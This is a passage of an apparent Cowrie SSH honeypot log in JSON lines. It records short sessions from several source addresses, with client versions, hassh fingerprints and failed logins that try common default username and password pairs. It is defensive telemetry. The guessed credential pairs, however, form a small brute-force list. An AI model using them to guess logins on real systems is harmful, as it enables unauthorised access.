af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:51:04.486868Z","src_ip":"131.161.219.137","session":"7a47ab4fbbba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test-user","password":"password","message":"login attempt [test-user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:51:05.033587Z","src_ip":"131.161.219.137","session":"7a47ab4fbbba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:51:06.165393Z","src_ip":"131.161.219.137","session":"7a47ab4fbbba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":35082,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ef9b5bbb96d","protocol":"ssh","message":"New connection: 103.158.40.65:35082 (159.203.135.109:22) [session: 6ef9b5bbb96d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:51:17.920519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:51:17.925252Z","src_ip":"103.158.40.65","session":"6ef9b5bbb96d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:51:18.131982Z","src_ip":"103.158.40.65","session":"6ef9b5bbb96d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"default","message":"login attempt [admin/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:51:18.990604Z","src_ip":"103.158.40.65","session":"6ef9b5bbb96d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:51:20.199523Z","src_ip":"103.158.40.65","session":"6ef9b5bbb96d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":57098,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b2fb9842f4a","protocol":"ssh","message":"New connection: 43.173.69.147:57098 (159.203.135.109:22) [session: 8b2fb9842f4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:51:24.563776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:51:24.569043Z","src_ip":"43.173.69.147","session":"8b2fb9842f4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:51:24.637139Z","src_ip":"43.173.69.147","session":"8b2fb9842f4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1pass","message":"login attempt [user1/user1pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:51:24.943124Z","src_ip":"43.173.69.147","session":"8b2fb9842f4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:51:26.014680Z","src_ip":"43.173.69.147","session":"8b2fb9842f4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":4116,"dst_ip":"10.17.0.5","dst_port":22,"session":"00eb88843385","protocol":"ssh","message":"New connection: 181.97.227.163:4116 (10.17.0.5:22) [session: 00eb88843385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:51:39.976802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:51:39.981341Z","src_ip":"181.97.227.163","session":"00eb88843385","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:51:40.191271Z","src_ip":"181.97.227.163","session":"00eb88843385","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"redhat","message":"login attempt [ftpuser/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:51:41.062051Z","src_ip":"181.97.227.163","session":"00eb88843385","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:51:42.275481Z","src_ip":"181.97.227.163","session":"00eb88843385","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":41768,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa06bfdc6f5e","protocol":"ssh","message":"New connection: 2.57.122.208:41768 (159.203.135.109:22) [session: fa06bfdc6f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:51:55.337698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:51:55.718853Z","src_ip":"2.57.122.208","session":"fa06bfdc6f5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:51:55.723014Z","src_ip":"2.57.122.208","session":"fa06bfdc6f5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:51:57.790985Z","src_ip":"2.57.122.208","session":"fa06bfdc6f5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:51:59.173902Z","src_ip":"2.57.122.208","session":"fa06bfdc6f5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":46508,"dst_ip":"10.17.0.5","dst_port":22,"session":"42f76648a3b0","protocol":"ssh","message":"New connection: 154.81.14.172:46508 (10.17.0.5:22) [session: 42f76648a3b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:02.447500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:02.452514Z","src_ip":"154.81.14.172","session":"42f76648a3b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:02.666617Z","src_ip":"154.81.14.172","session":"42f76648a3b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":34336,"dst_ip":"10.17.0.5","dst_port":22,"session":"4922a8fc4ab3","protocol":"ssh","message":"New connection: 101.36.106.162:34336 (10.17.0.5:22) [session: 4922a8fc4ab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:02.775543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:02.780549Z","src_ip":"101.36.106.162","session":"4922a8fc4ab3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:02.994766Z","src_ip":"101.36.106.162","session":"4922a8fc4ab3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntupassword","message":"login attempt [ubuntu/ubuntupassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:03.553609Z","src_ip":"154.81.14.172","session":"42f76648a3b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mailtest","password":"1","message":"login attempt [mailtest/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:03.881351Z","src_ip":"101.36.106.162","session":"4922a8fc4ab3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":6929,"dst_ip":"159.203.135.109","dst_port":22,"session":"611d2540b918","protocol":"ssh","message":"New connection: 131.161.219.137:6929 (159.203.135.109:22) [session: 611d2540b918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:03.899092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:03.906561Z","src_ip":"131.161.219.137","session":"611d2540b918","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:04.036829Z","src_ip":"131.161.219.137","session":"611d2540b918","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"Aa123456","message":"login attempt [frappe/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:04.578593Z","src_ip":"131.161.219.137","session":"611d2540b918","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:04.770322Z","src_ip":"154.81.14.172","session":"42f76648a3b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":40128,"dst_ip":"10.17.0.5","dst_port":22,"session":"483648e4fa93","protocol":"ssh","message":"New connection: 103.125.103.201:40128 (10.17.0.5:22) [session: 483648e4fa93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:04.996951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:05.001804Z","src_ip":"103.125.103.201","session":"483648e4fa93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:05.098631Z","src_ip":"101.36.106.162","session":"4922a8fc4ab3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:05.242493Z","src_ip":"103.125.103.201","session":"483648e4fa93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:05.708343Z","src_ip":"131.161.219.137","session":"611d2540b918","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgoserver","password":"csgoserver1","message":"login attempt [csgoserver/csgoserver1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:06.233359Z","src_ip":"103.125.103.201","session":"483648e4fa93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:07.476890Z","src_ip":"103.125.103.201","session":"483648e4fa93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":35486,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f9600ac1e65","protocol":"ssh","message":"New connection: 201.6.100.191:35486 (159.203.135.109:22) [session: 1f9600ac1e65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:11.128533Z"}
